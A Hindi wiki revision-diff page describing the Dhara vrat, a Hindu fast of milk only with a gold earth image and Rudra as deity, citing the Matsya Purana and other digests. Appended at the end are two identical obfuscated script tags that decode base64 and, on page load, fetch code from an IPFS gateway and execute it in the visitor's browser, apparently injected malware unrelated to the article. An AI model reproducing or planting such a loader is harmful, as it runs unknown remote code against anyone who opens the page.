"धरा व्रत": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
छो (Text replace - ")</ref" to "</ref")
 
(एक दूसरे सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया)
पंक्ति 4: पंक्ति 4:
*जिसकी तौल 22 पल होती है।  
*जिसकी तौल 22 पल होती है।  
*इसमें रुद्र देवता होता है।  
*इसमें रुद्र देवता होता है।  
*कर्ता रुद्रलोक को जाता है।<ref>[[मत्स्य पुराण]] (101|52); कृत्यकल्पतरु (व्रतखण्ड 446); हेमाद्रि (व्रतखण्ड 2, 906)</ref>  
*कर्ता रुद्रलोक को जाता है।<ref>[[मत्स्य पुराण]] (101|52); कृत्यकल्पतरु (व्रतखण्ड 446); हेमाद्रि (व्रतखण्ड 2, 906</ref>  
*कृत्यकल्पतरु के मत से यह संवत्सरव्रत है और हेमाद्रि ने इसे प्रकीर्णक माना है।  
*कृत्यकल्पतरु के मत से यह संवत्सरव्रत है और हेमाद्रि ने इसे प्रकीर्णक माना है।  
 
{{प्रचार}}
{{संदर्भ ग्रंथ}}
{{संदर्भ ग्रंथ}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==

12:50, 27 जुलाई 2011 के समय का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • इस व्रत में केवल दूध का सेवन किया जाता है।
  • पृथ्वी की एक स्वर्णिम प्रतिमा होती है।
  • जिसकी तौल 22 पल होती है।
  • इसमें रुद्र देवता होता है।
  • कर्ता रुद्रलोक को जाता है।[1]
  • कृत्यकल्पतरु के मत से यह संवत्सरव्रत है और हेमाद्रि ने इसे प्रकीर्णक माना है।


टीका टिप्पणी और संदर्भ

  1. मत्स्य पुराण (101|52); कृत्यकल्पतरु (व्रतखण्ड 446); हेमाद्रि (व्रतखण्ड 2, 906

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>